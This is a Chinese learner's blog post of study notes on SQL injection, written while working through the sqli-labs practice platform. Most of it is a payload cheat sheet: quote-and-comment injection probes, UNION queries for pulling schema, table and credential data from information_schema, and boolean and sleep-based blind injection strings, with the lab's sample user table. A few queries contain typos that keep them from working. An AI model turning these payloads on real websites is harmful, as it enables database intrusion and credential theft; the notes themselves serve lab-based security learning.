20200226 SQL注入及杂项

2020-02-26  本文已影响0人  睡觉了晚安

记录

自从10多号开始自学安全后,感觉速度快了点,怕忘记就在本地每天打卡总结,但今天突发奇想为何不在网上打卡捏,于是就有了本文

稍微记录几个时间点:

SQL I‘m coming

从24号左右就开始了注入关,前三关看WP还是比较简单的,但是我是边看边学的,对于SQL注入的基本原理就不是很清楚,于是25号就打算单开一天学SQL注入,结果……我太年轻了,到了那天晚上才发现SQL不简单,所以接下来的一周时间基本上就是与SQL注入打交道了,视频的话,我是看B站上的 crow up主的sqli教程,其余就参考网上的文章

主要就是通过sqli-labs这个平台学习,里面的SQL注入类型丰富,够啃一阵子了

前两日SQL注入总结 (ง'-')ง

之前学得有点零散,早上也起得比较晚,就打算总结前两天所学的

基本SQL注入步骤

  1. 找到注入点
 1' or 1=1 #
 1 or 1=1 
 1" or 1=1 #
 1') or 1=1 #
 ​
 -- 一些编码
 ’ %27
 # %23
  %20
 “ %22
  1. 看有没有回显
order by 3#
-1' union select 1,2,3#
 ​
 -- 没有回显的话,就属于盲注系列了
  1. 获取数据
select database();
select user();
select version();
select @@datadir;  # MySQL安装路径
select @@version_compile_os;  #电脑系统
select schema_name  from information_schema.schemata;
select table_name from information_schema.tables where table_schema = 'security';
select column_name from information_schema.column where column_schema = 'users';
select username,password from security.users;

有趣的函数(ง'-')ง

group_concat("name")  # 列举name列所有字段
concat_ws('~',name,password)  # 以name~password形式输出
concat(”name“)  # 用法类似

盲注 (・ω・)=つ

来人,上笔记!

盲注 布尔型

跑库名
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | challenges         |
 | dvwa               |
 | mysql              |
 | performance_schema |
 | security           |
 | test               |
 +--------------------+
  1' or substr((select database()),1,1)='s'#
  1' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I'#

  跑表名
 +----------------+
 | SecurityTables |
 +----------------+
 | emails         |
 | referers       |
 | uagents        |
 | users          |
 +----------------+
  1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'#

  跑列名
 +----+----------+------------+
 | id | username | password   |
 +----+----------+------------+
 |  1 | Dumb     | Dumb       |
 |  2 | Angelina | I-kill-you |
 |  3 | Dummy    | p@ssword   |
 |  4 | secure   | crappy     |
 |  5 | stupid   | stupidity  |
 |  6 | superman | genious    |
 |  7 | batman   | mob!le     |
 |  8 | admin    | admin      |
 |  9 | admin1   | admin1     |
 | 10 | admin2   | admin2     |
 | 11 | admin3   | admin3     |
 | 12 | dhakkan  | dumbo      |
 | 14 | admin4   | admin4     |
 +----+----------+------------+

  1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)#  //不同库会有相同的列名
  1' or select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,10) c#
  这里最好把库名和列名都写出了,避免出现不同库相同列名的情况

  跑字段 

  1' and select substr((select username from security.users limit 0,1),1,1)#

盲注 延时型

跑库名
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | challenges         |
 | dvwa               |
 | mysql              |
 | performance_schema |
 | security           |
 | test               |
 +--------------------+
  1' or if(substr((select database()),1,1)='s',1,sleep(5)) #
  1' or if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I',1,sleep(5)) #

  跑表名
 +----------------+
 | SecurityTables |
 +----------------+
 | emails         |
 | referers       |
 | uagents        |
 | users          |
 +----------------+
  1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5))#

  跑列名
 +----+----------+------------+
 | id | username | password   |
 +----+----------+------------+
 |  1 | Dumb     | Dumb       |
 |  2 | Angelina | I-kill-you |
 |  3 | Dummy    | p@ssword   |
 |  4 | secure   | crappy     |
 |  5 | stupid   | stupidity  |
 |  6 | superman | genious    |
 |  7 | batman   | mob!le     |
 |  8 | admin    | admin      |
 |  9 | admin1   | admin1     |
 | 10 | admin2   | admin2     |
 | 11 | admin3   | admin3     |
 | 12 | dhakkan  | dumbo      |
 | 14 | admin4   | admin4     |
 +----+----------+------------+ 
  //精确到了库和表,是可以跑出id的
  1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(5))#

  跑字段
  1' and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5));

杂项 _(:τ」∠) _

PS:没想到这个markdown编辑功能这么差,哎,代码块部分明天在处理下,有点难看。。。

上一篇 下一篇

猜你喜欢

热点阅读